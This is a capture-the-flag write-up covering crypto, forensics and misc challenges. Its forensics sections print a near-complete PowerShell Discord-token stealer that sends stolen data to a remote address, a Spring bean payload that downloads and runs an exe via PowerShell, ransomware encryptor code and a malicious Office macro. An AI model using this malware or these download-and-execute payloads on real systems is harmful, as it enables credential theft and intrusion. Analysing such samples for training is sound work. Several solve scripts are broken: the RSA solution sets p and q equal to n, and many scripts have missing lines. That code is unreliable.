# crypto

## Primary Knowledge

Solved by: Legend

Challenge description :

``````Surrounded by an untamed forest and the serene waters of the Primus river, your sole objective is surviving for 24 hours. Yet, survival is far from guaranteed as the area is full of Rattlesnakes, Spiders and Alligators and the weather fluctuates unpredictably, shifting from scorching heat to torrential downpours with each passing hour. Threat is compounded by the existence of a virtual circle which shrinks every minute that passes. Anything caught beyond its bounds, is consumed by flames, leaving only ashes in its wake. As the time sleeps away, you need to prioritise your actions secure your surviving tools. Every decision becomes a matter of life and death. Will you focus on securing a shelter to sleep, protect yourself against the dangers of the wilderness, or seek out means of navigating the Primus’ waters?
``````

We are given the source code which is of `RSA` algorithm and along with that we are given the output file with the value of `n`, `c`, and `e`.

To solve this I used http://www.factordb.com/ to get the value of `p` and `q` and wrote the script.

``````    #! /usr/bin/python3

import gmpy2
import binascii

n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
e = 65537
c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215
p = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347
q = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347

phi = (p-1)*(q-1)
d = gmpy2.invert(e,phi)
m = gmpy2.powmod(c,d,n)

flag = (binascii.unhexlify(hex(m)[2:])).decode()

print(f"Flag: {flag}")
``````
``````Flag: HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}
``````

## Makeshift

Solved by: Legend

Challenge description:

``````Weak and starved, you struggle to plod on. Food is a commodity at this stage, but you can’t lose your alertness - to do so would spell death. You realise that to survive you will need a weapon, both to kill and to hunt, but the field is bare of stones. As you drop your body to the floor, something sharp sticks out of the undergrowth and into your thigh. As you grab a hold and pull it out, you realise it’s a long stick; not the finest of weapons, but once sharpened could be the difference between dying of hunger and dying with honour in combat.
``````

For this challenge we are given the code in which the flag is just getting shifted. So I just reversed the script with trail and error I got the flag.

``````    #! /usr/bin/python3

new_flag = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB"

flag = ''

for i in range(0, len(new_flag), 3):
flag += new_flag[i+2]
flag += new_flag[i]
flag += new_flag[i+1]

flag = flag[::-1]

print(flag)
``````
``````HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}
``````

## Dynastic

Solved by : Starry-lord

This challenge comes with an output.txt and a python source as you can see below:

``````    from secret import FLAG
from random import randint

def to_identity_map(a):
return ord(a) - 0x41

def from_identity_map(a):
return chr(a % 26 + 0x41)

def encrypt(m):
c = ''
for i in range(len(m)):
ch = m[i]
if not ch.isalpha():
ech = ch
else:
chi = to_identity_map(ch)
ech = from_identity_map(chi + i)
c += ech
return c

with open('output.txt', 'w') as f:
f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n')
f.write(encrypt(FLAG))
``````

We needed to write a decryption mechanism for this, taking the output file as input. Here’s my solution:

``````HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}
``````

# forensics

## It Has Begun

Solved by : Starry-Lord

We only get a script.sh for this challenge

Running this file will actually kill your current user session authentication. Upon closer examination of what it does we can see that the host name for the ssh key looks awfully suspicious, and that a base64 string is being executed in bash at the end.

Reverse 1 and decode 2 for the flag:

``````HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}
``````

## Urgent

Solved by : Starry-Lord

This time it comes as an email file, along with an attachment called onlineform.js which is almost fully urlencoded:

``````HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}
``````

## An Unusual sighting

Solved by : Starry-Lord

This challenge came with 2 interesting files which allowed to answer the questions asked at the docker url.

We can see a connection at around 4:00 AM which is not the usual legitimate users’ working hours.

``````HTB{B3sT_0f_luck_1n_th3_Fr4y!!}
``````

## Phreaky

Solved by : thewhiteh4t, Starry-Lord

The manual way: This challenge comes with a packet capture file (.pcap) so wireshark it is.

From this we can see that this b64 can be unziped with the passwords coming with each stream. We then need retrieve all 15 of them and use the corresponding unzip password.

We can copy all 15 parts and then merge them together to get the final pdf, with

``````cat file > phreaks_plan.pdf
cat file 2 >> phreaks_plan.pdf
``````

Automated solution using a python script :

• automatically find and extract zip files and passwords
• concatenate PDFs into one
• read PDF and get the flag
``````    from scapy.all import *
from zipfile import ZipFile
from base64 import b64decode

tcp_streams = {}
flag_pdf = 'flag.pdf'
flag_pdf_bytes = bytes()

pkts = rdpcap('./phreaky.pcap')
for pkt in pkts:
if not pkt.haslayer(TCP):
continue
continue
src_ip = pkt[IP].src
src_port = pkt[TCP].sport
dst_ip = pkt[IP].dst
dst_port = pkt[TCP].dport
tcp_tuple = (src_ip, src_port, dst_ip, dst_port)

if tcp_tuple in tcp_streams:
else:

for stream_key, stream_data in tcp_streams.items():
if b'Secure File Transfer' not in stream_data:
continue
data = stream_data.decode('utf-8', errors='ignore')

if 'Content-Type: multipart/mixed;' not in data:
continue

parts = data.split('Content-Type:')[1:]

for part in parts:
if 'Content-Disposition: attachment;' in part:
filename = part.split('filename*1="')[1].split('.zip"')[0] + '.zip'
attachment = part.split('\r\n\r\n')[1].replace('\r\n', '').strip()
with open(filename, 'wb') as outfile:
outfile.write(b64decode(attachment))
with ZipFile(filename) as zf:
zip_out = zf.infolist()[0].filename
zf.extractall(pwd=pswd)
print(f'Extracted : {zip_out}')

with open(zip_out, 'rb') as pdf_part:

with open(flag_pdf, 'wb') as flag_out:
flag_out.write(flag_pdf_bytes)
print(f'\nFinal PDF Saved : {flag_pdf}')

pdf_text = ''
for num in range(num_pages):
pdf_text += curr_page.extract_text()

for line in pdf_text.split('\n'):
if 'HTB{' in line:
flag = 'HTB' + line.split('HTB')[1].split('}')[0] + '}'
print(flag)
``````

``````HTB{Th3Phr3aksReadyT0Att4ck}
``````

## Fake Boost

Solved by : Starry-lord

For this one again we get a pcap file, which contains HTTP objects we can look into:

Extracting freediscordnitro, we can see the content is obfuscated like we expect a malware would be.

working on the content of the file, we can now reverse this long string above, and then decode it to read the first part of the flag

``````    \$URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"

function Steal {
param (
[string]\$path
)

\$tokens = @()

try {
Get-ChildItem -Path \$path -File -Recurse -Force | ForEach-Object {

try {
\$fileContent = Get-Content -Path \$_.FullName -Raw -ErrorAction Stop

foreach (\$regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
\$tokens += \$fileContent | Select-String -Pattern \$regex -AllMatches | ForEach-Object {
\$_.Matches.Value
}
}
} catch {}
}
} catch {}

return \$tokens
}

function GenerateDiscordNitroCodes {
param (
[int]\$numberOfCodes = 10,
[int]\$codeLength = 16
)

\$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
\$codes = @()

for (\$i = 0; \$i -lt \$numberOfCodes; \$i++) {
\$code = -join (1..\$codeLength | ForEach-Object { Get-Random -InputObject \$chars.ToCharArray() })
\$codes += \$code
}

return \$codes
}

function Get-DiscordUserInfo {
[CmdletBinding()]
Param (
[Parameter(Mandatory = \$true)]
[string]\$Token
)

process {
try {
"Authorization" = \$Token
"Content-Type" = "application/json"
"User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
}

\$Uri = "https://discord.com/api/v9/users/@me"

return \$Response
}
catch {}
}
}

function Create-AesManagedObject(\$key, \$IV, \$mode) {
\$aesManaged = New-Object "System.Security.Cryptography.AesManaged"

if (\$mode="CBC") { \$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
elseif (\$mode="CFB") {\$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
elseif (\$mode="CTS") {\$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
elseif (\$mode="ECB") {\$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
elseif (\$mode="OFB"){\$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}

\$aesManaged.BlockSize = 128
\$aesManaged.KeySize = 256
if (\$IV) {
if (\$IV.getType().Name -eq "String") {
\$aesManaged.IV = [System.Convert]::FromBase64String(\$IV)
}
else {
\$aesManaged.IV = \$IV
}
}
if (\$key) {
if (\$key.getType().Name -eq "String") {
\$aesManaged.Key = [System.Convert]::FromBase64String(\$key)
}
else {
\$aesManaged.Key = \$key
}
}
\$aesManaged
}

function Encrypt-String(\$key, \$plaintext) {
\$bytes = [System.Text.Encoding]::UTF8.GetBytes(\$plaintext)
\$aesManaged = Create-AesManagedObject \$key
\$encryptor = \$aesManaged.CreateEncryptor()
\$encryptedData = \$encryptor.TransformFinalBlock(\$bytes, 0, \$bytes.Length);
[byte[]] \$fullData = \$aesManaged.IV + \$encryptedData
[System.Convert]::ToBase64String(\$fullData)
}

Write-Host "
______              ______ _                       _   _   _ _ _               _____  _____  _____   ___
|  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
| |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
|  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
| | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
\_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/

"
Write-Host "Generating Discord nitro keys! Please be patient..."

\$local = \$env:LOCALAPPDATA
\$roaming = \$env:APPDATA
\$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

\$paths = @{
'Brave' = "\$local\BraveSoftware\Brave-Browser\User Data\Default\"
'Opera' = "\$roaming\Opera Software\Opera Stable"
'Firefox' = "\$roaming\Mozilla\Firefox\Profiles"
}

'Content-Type' = 'application/json'
'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}

\$allTokens = @()
foreach (\$platform in \$paths.Keys) {
\$currentPath = \$paths[\$platform]

if (-not (Test-Path \$currentPath -PathType Container)) {continue}

\$tokens = Steal -path \$currentPath
\$allTokens += \$tokens
}

\$userInfos = @()
foreach (\$token in \$allTokens) {
\$userInfo = Get-DiscordUserInfo -Token \$token
if (\$userInfo) {
\$userDetails = [PSCustomObject]@{
ID = \$userInfo.id
Email = \$userInfo.email
GlobalName = \$userInfo.global_name
Token = \$token
}
\$userInfos += \$userDetails
}
}

\$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
\$payload = \$userInfos | ConvertTo-Json -Depth 10
\$encryptedData = Encrypt-String -key \$AES_KEY -plaintext \$payload

try {
'Content-Type' = 'text/plain'
'User-Agent' = 'Mozilla/5.0'
}
}
catch {}

Write-Host "Success! Discord Nitro Keys:"
\$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
\$keys | ForEach-Object { Write-Output \$_ }
``````

We can see this is using AES encryption on the files while making the user think its generating free discord nitro keys, as well as a part1 of the flag. It decrypted the content of the other file with using the same value for IV and for the AES key.

``````HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
``````

## Oblique Final

Attempted by : Starry-Lord, thewhiteh4t

This challenge occupied a good 3 days of our time and taught us a new attack vector so it gets its own writeup even if it got solved too late. Everything starts with a large 4GB `hiberfil.sys` file. This is a hibernation file that got extracted form a laptop after it got out of battery. We managed to extract the active memory from that which gave us 6GB of memory to look through. We used volatility 2 and 3 to achieve a better understanding of the machine, until we could find interesting files in the user’s home folder, and dig them for more.

Arsenal Recon offers a 30day trial for their tools and I decided to try it for the occasion. Very intuitively, I was guided through an ui that allowed to retrieve the Active memory as a bin file. With this 6GB file in the pocket it was time to finally work our volatility skills, allowing us to enumerate everything that was running while it went into hibernation.

``````    volatility 2:

pslist
filescan
mftscan

volatility 3:

windows.filescan.FileScan
windows.dumpfiles.DumpFiles
``````

With these we managed to get the exact offset for each files, as well as a list of all the 4k+ files present on the machine to choose from. We extracted a lot of stuff before correlating the information that if it was not being used when it was running, it will not be in the memory. Basing ourselves on the pslist proved a little bit more useful, but in the end all we needed was TheGame.exe and TheGame.dll, which we had for quite some time.

From this point on the competition was over but we couldn’t just not finish it.

Using ghidra, we managed to determine the exe was calling the dll. Using ILSpy, we can actually switch between C# , IL and ReadyToRun, which will actually return different outputs. So much so that nothing else than the following code in the Main function can be seen, when switching to ReadyToRun. not only does it look pretty different from the IL part, the offsets don’t seem to match, which points towards the latter being different code. This is concerning and something we have never seen before, but apparently it’s possible to make bogus code that will definitely fail and instead run the ReadyToRun part of the code.

Extracing everything in that function with a simple hex editor, using the visible offsets, we can manage to get some valid shellcode. We know the architecture of this machine and it’s x64, from previous enumeration, which allowed us to use speakeasy to run it.

We can see this hidden shellcode is checking for a specific hostname in the windows environement variables, and we can change that by supplying a configuration file (default.json) to our command, conveniently supplied by mandiant in the github repo.

``````HTB{IL_st0mp1ng_4nd_h1b3rn4t10n_f0r_th3_gr4nd_f1n4l!!}
``````

## Confinement

Solved by : Starry-Lord, thewhiteh4t

• Challenge description tells us about the location of flag : `Note: The valuable data is stored under \Documents\Work"`
• We are given an AD1 file which are logical images similar to a container. They only contain files, directories and the directory structure
• AD1 files don’t contain any kind of memory dump or deleted files
• What we see is all that we have in this case
• AD1 files can be parsed using FTK Imager software on windows, optionally we can export all the files using 7zForensics plugin for 7z archive manager.
• We used both at some point but one of them is enough for solving
• The file can also be mounted as a drive for faster operation
• Challenge tells us that files were encrypted by a ransomware and we need to find a way to decrypt them
• From our past experience we know that Windows Event Logs will shed some light on this so we started looking into them
• Most popular/common EVTX logs that everyone looks into :
• Application.evtx
• System.evtx
• Security.evtx
• Windows PowerShell.evtx
• We looked in all four and we could only find some of the commands which the attacker used
• The attacker disabled defender, launched recon tools and encryptor, all in the form of different exe files
• Since attacker did not use powershell for encrypting the files there was no way to figure out the encryption, we knew we needed to somehow get the encryptor, but attacker had deleted all the malicious exe files
• And we knew we can’t recover deleted files after trying to recover for some time :D
• This is where we got an idea :
• Defender was disabled by them
• Why disabl e defender ? Because you don’t have a FUD encryptor!
• Which means at some point the encryptor got caught by defender
• Now comes another useful EVTX log : `Windows Defender Operational`

• This log contains as you guessed the logs of it detecting malicious stuff among other things
• Inside we found what we were looking for :

• Default action as we know is to quarantine the files
• So that means that the encryptor is in the quarantine and we can extract it
• Slight issue was that these files are encrypted too but we quickly found solutions for that such as :
``````https://blog.khairulazam.net/2023/12/12/extracting-quarantine-files-from-windows-defender/

https://github.com/zam89/Windows-Defender-Quarantine-File-Decryptor
``````

• And we successfully got the juicy files

• We were able to decompile them over at : https://www.decompiler.com/

• Encryptor/Prorgam.cs :

``````    private static void Main(string[] args)
{
Utility utility = new Utility();
if (Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
{
UID = utility.GenerateUserID();
utility.Write("\nUserID = " + UID, ConsoleColor.Cyan);
email = string.Concat(new string[4] { email1, " And ", email2, " (send both)" });
utility.Write("\nStart ...", ConsoleColor.Red);
Enc(Environment.CurrentDirectory);
}
}

static Program()
{
email1 = "fraycrypter@korp.com";
email2 = "fraydecryptsp@korp.com";
salt = "0f5264038205edfb1ac05fbb0e8c5e94";
softwareName = "Encrypter";
coreEncrypter = null;
UID = null;
}
``````
``````    internal class PasswordHasher
{
public string GetSalt()
{
return Guid.NewGuid().ToString("N");
}

{
using SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
return Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
}

public string GetHashCode(string password, string salt)
{
}

{
}
}
``````
• Encryptor.class/CoreEncryptor.cs :
``````    public CoreEncrypter(string password, string alert, string alertName, string email)
{
this.email = email;
}

public void EncryptFile(string file)
{
byte[] array = new byte[65535];
byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
FileStream fileStream = null;
.
.
.
``````
• First, it checks if hostname matches a specific string
• Second, it generates a UID, which is what we see in the ransom note as Faction ID so we already have the UID for this specific ransom run
• Third, it creates the alert which is the ransom note
• Fourth it calls the encryptor and in function arguments it calls PasswordHasher and passes UID etc
• GetHashCode concatenates password and salt then passes it to Hasher
• Hasher flow :
• calculates SHA512 for the bytes
• Base64 encodes the SHA512 hash
• EncryptFile flow :
• Uses the password i.e. result of Hasher and salt to derive bytes
• Uses derived bytes to generate key and IV for AES encryption
• Encrypts the bytes of the given file
• So to decrypt we can do the following :
• we know the UID from the ransom note
• we know the salt from Program.cs
• we can re-generate output of Hasher from these
• then we can use it to decrypt the file
``````    import hashlib
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

salt = b'\x00\x01\x01\x00\x01\x01\x00\x00'
key_iv_bytes = PBKDF2(password, salt, dkLen=48, count=4953)
key = key_iv_bytes[:32]  # needs to be 32
iv = key_iv_bytes[32:]   # needs to be 16
print(key.hex())
print(iv.hex())
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted_file_path = file_path[:-5]  # Remove ".korp" extension
with open(file_path, 'rb') as encrypted_file, open(decrypted_file_path, 'wb') as decrypted_file:
decrypted_file.write(decrypted_data)

print(f"Decryption complete. Decrypted file: {decrypted_file_path}")

def hasher(data):
sha512 = hashlib.sha512()
sha512.update(data.encode('utf-8'))
return base64.b64encode(sha512.digest())

salt = '0f5264038205edfb1ac05fbb0e8c5e94'

file_to_decrypt = 'Applicants_info.xlsx.korp'

``````

## Game Invitation

Solved by : thewhiteh4t

• Challenge talks about receiving a malicious `docm` file in email
• We managed to solve the challenge using windows and MS Office 2016
• We inspected the `macros` in the document and here is a brief flow :
• it checks for host domain and proceeds if it matches
``````chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ\$("UserDomain")
If chkDomain <> strUserDomain Then
``````
• opens the current document as binary mode `Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW`
• uses regex to match a set pattern
``````  SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
``````
• gets `AppData` dir path and writes `mailform.js`
``````  kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
``````
• uses `wscript` to run `mailform.js`
``````  Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
``````

• Finally it runs clean up and deletes `mailform.js`
• First we can modify the domain check to bypass that condition
``````  chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ\$("UserDomain") <-- original
strUserDomain = "GAMEMASTERS.local"    <-- simply replace it with the domain
If chkDomain <> strUserDomain Then
``````
• In the `mailform.js` file we can add one extra statement to print the output of the function just before it hits `eval` as highlighted below :

• Now we can use `csript` which is a CMD alternative of `wscript` to read the output it will print :

• In the noise we can see a `cookie` being sent with a base64 string
``````> echo "SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=" | base64 -d
> HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
``````

## Data Siege

Solved by : thewhiteh4t

``````We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts.
``````
• We need to look for exfiltrated data
• flag is split in three parts
• We have a PCAP file
• After analysis we can find an interesting frame :
``````    GET /nBISC4YJKs7j4I HTTP/1.1
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/11.0.19
Host: 10.10.10.21:8080
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

HTTP/1.1 200 OK
Content-Type: application/xml
Connection: Keep-Alive
Pragma: no-cache
Server: Apache
Content-Length: 651

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd.exe</value>
<value>/c</value>
<value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
</list>
</constructor-arg>
</bean>
</beans>
``````
• Command execution where its downloading an `exe` file and running it with `PowerShell`
• Next thing we can extract the exe by exporting HTTP objects
• It’s a .NET executable so it can be decompiled easily using https://www.decompiler.com/
• EZRAClient/Program.cs
``````  Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
{
86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
116, 95, 83
});

Very_S3cr3t_S
``````
• Converting ASCII values to text gives us an interesting string, this is the IV for AES
• multiple TCP packets have data field which contain encrypted strings which can be extracted using `tshark` :
``````> tshark -T fields -e data -r capture.pcap > data.txt
``````
• Now let’s look at decryption process
• `EZRATclient.Utils/Constantes.cs` contains the encryption key

`private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";`

• Decrypt function is present in `Program.cs` :
``````    public static string Decrypt(string cipherText)
{
try
{
string encryptKey = Constantes.EncryptKey;
byte[] array = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
{
86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
116, 95, 83
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
using MemoryStream memoryStream = new MemoryStream();
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(array, 0, array.Length);
cryptoStream.Close();
}
cipherText = Encoding.Default.GetString(memoryStream.ToArray());
}
return cipherText;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("Cipher Text: " + cipherText);
return "error";
}
}
``````
• We have the IV and encryption key, python script for decryption :
``````    #!/usr/bin/env python3

import binascii
from base64 import b64decode
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2

with open('data.txt') as datafile:

key = key_iv_bytes[:32]
iv = key_iv_bytes[32:]
return key, iv

encryption_key = "VYAemVeO3zUDTL6N62kVA"
salt = 'Very_S3cr3t_S'
key, iv = derive_key_and_iv(encryption_key.encode(), salt)

def decrypt(cipher_text, key, iv):
cipher_text = b64decode(cipher_text)
cipher = AES.new(key, AES.MODE_CBC, iv)
return decoded_msg

for hex_line in hex_lines:
if len(hex_line) > 3:
enc_cipher_text = binascii.unhexlify(hex_line.strip()).replace(b'24\xa7', b'').replace(b'88\xa7', b'').replace(b'44\xa7', b'').replace(b'64\xa7', b'').replace(b'620\xa7', b'')
# print('-->', binascii.unhexlify(hex_line.strip()))
try:
print(decrypt(enc_cipher_text, key, iv))
except Exception:
pass
``````

• We get first and second parts of the flag in the decrypted data :
``````-> HTB{c0mmun1c4710n5
-> _h45_b33n_r357
``````
• Third part was easier as its present in the PCAP
• One of the frames is not encrypted and its a `PowerShell` command :

• We can decode the payload to get the third part of the flag

``````-> HTB{c0mmun1c4710n5
-> _h45_b33n_r357
-> 0r3d_1n_7h3_h34dqu4r73r5}

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}
``````

## Pursue the tracks

Solved by : thewhiteh4t

``````To get the flag, you need to answer the questions from the docker instance.
``````
• We get a `.mft` file in this challenge and we need to answer questions based on that
• Tools used :
``````analyzeMFT.py - https://github.com/dkovar/analyzeMFT
MFTExplorer - https://www.sans.org/tools/mftexplorer/
MFTECmd - https://github.com/EricZimmerman/MFTECmd
``````
• First we extracted the data in CSV format on linux :
• `analyzeMFT.py -f z.mft -o result.csv`

• with some grep-cut we can see a list of files :

• Some pointers which are important for solving :
• analyzeMFT.py shows limited information so for things like Q6 its easily visible in MFTExplorer
• Modified after creation in Q7 is also visible in MFTExplorer
• Accurate file size in Q9 is not shown by either analyzeMFT or MFTExplorer for that we had to use MFTECmd
• Answers of all the questions :
``````Q1. Files are related to two years, which are those?
> 2023,2024

Q2. There are some documents, which is the name of the first file written?
> Final_Annual_Report.xlsx

Q3. Which file was deleted?
> Marketing_Plan.xlsx

Q4. How many of them have been set in Hidden mode?
> 1

Q5. Which is the filename of the important TXT file that was created?
> credentials.txt

Q6. A file was also copied, which is the new filename?
> Financial_Statement_draft.xlsx

Q7. Which file was modified after creation?
> Project_Proposal.pdf

Q8. What is the name of the file located at record number 45?
> Annual_Report.xlsx

Q9. What is the size of the file located at record number 40?
> 57344
``````

# hardware

## BunnyPass

Solved by : Starry-lord

In this challenge we only have a docker instance, here is what we see:

RabbitMQ is a reliable and mature messaging and streaming broker – https://www.rabbitmq.com

When we research about RabbitMQ online we can find interesting details, such as the the default password for an installation which is : `guest:guest` .

We can see an admin panel, which allows to edit user rights and access to any ressource, and also shows the guest user has the administrator role, for some reason.

We then notice a few Messages are ready so we can click to see whats going on in `quality_control`, `production_logs`, `maintenance_logs`, `factory_idle`, etc. The flag is in `factory_idle`.

``````HTB{th3_hunt3d_b3c0m3s_th3_hunt3r}
``````

## Maze

Solved by : thewhiteh4t

• Just explore challenge files

# misc

## Character

Solved by : Legend

Challenge description:

``````Security through Induced Boredom is a personal favourite approach of mine. Not as exciting as something like The Fray, but I love making it as tedious as possible to see my secrets, so you can only get one character at a time!
``````

In this challenge the server is giving us the flag if we put the index value. For example if I put `0` then it will print the value `H` and so on. We need to do this till we get the complete flag till `}` character.

``````    #! /usr/bin/python3

from pwn import *

SERVER_IP = "94.237.53.53"
SERVER_PORT = 47157

conn = remote(SERVER_IP, SERVER_PORT)

flag = ""

for index in range(111):
conn.sendline(str(index).encode('ascii'))

server_response = conn.recvline().decode().strip()

character = server_response.split()[-1]
flag += character

print(f"Index {index} : Character {character}", end="\r", flush=True)

if character == "}":
break

print(f"Flag: {flag}")

conn.close()
``````
``````Flag: HTB{tH15_1s_4_r3aLly_l0nG_fL4g_i_h0p3_f0r_y0Ur_s4k3_tH4t_y0U_sCr1pTEd_tH1s_oR_els3_iT_t0oK_qU1t3_l0ng!!}
``````

## Stop Drop and Roll

Solved by : Legend

Challenge description:

``````The Fray: The Video Game is one of the greatest hits of the last... well, we don't remember quite how long. Our "computers" these days can't run much more than that, and it has a tendency to get repetitive...
``````

This challenge is playing a game in which we have to input based on the challenge question. For example if it says `GORGE` we need to respond `STOP`, if `GORGE, FIRE` we need to send `STOP-ROLL` and so on till we finally get the flag.

``````    #! /usr/bin/python3
from pwn import *

PORT = 54677

print(conn.recvuntil(b'(y/n)').decode())

conn.sendline(b'y')

print(conn.recvline().decode())

responses = {
'GORGE': 'STOP',
'PHREAK': 'DROP',
'FIRE': 'ROLL'
}

while True:
prompt = conn.recvline().decode().strip()
print(prompt)

if "What do you do?" in prompt:
keywords = prompt.split("What do you do?")[1].strip().split(', ')
else:
keywords = prompt.split(', ')

response_keywords = [responses.get(keyword) for keyword in keywords]

if None in response_keywords:
break

response = '-'.join(response_keywords)

conn.sendline(response.encode())
print(f"Response: {response}")

if 'Unfortunate! You died!' in prompt:
break

if 'Fantastic work! The flag is' in prompt:
flag = prompt.split('Fantastic work! The flag is')[1].strip()
print(f"The flag is: {flag}")
break

conn.close()
``````
``````The flag is: HTB{1_wiLl_sT0p_dR0p_4nD_r0Ll_mY_w4Y_oUt!}
``````

## Unbreakable

Solved by : thewhiteh4t

• This is a python jail challenge, at first it looks difficult because even built-ins cannot be used but then we realized two things :
• it is using `eval` instead of `exec`
• open() is not blocked
``````print(open('flag.txt').read())
``````

# re

## Packed

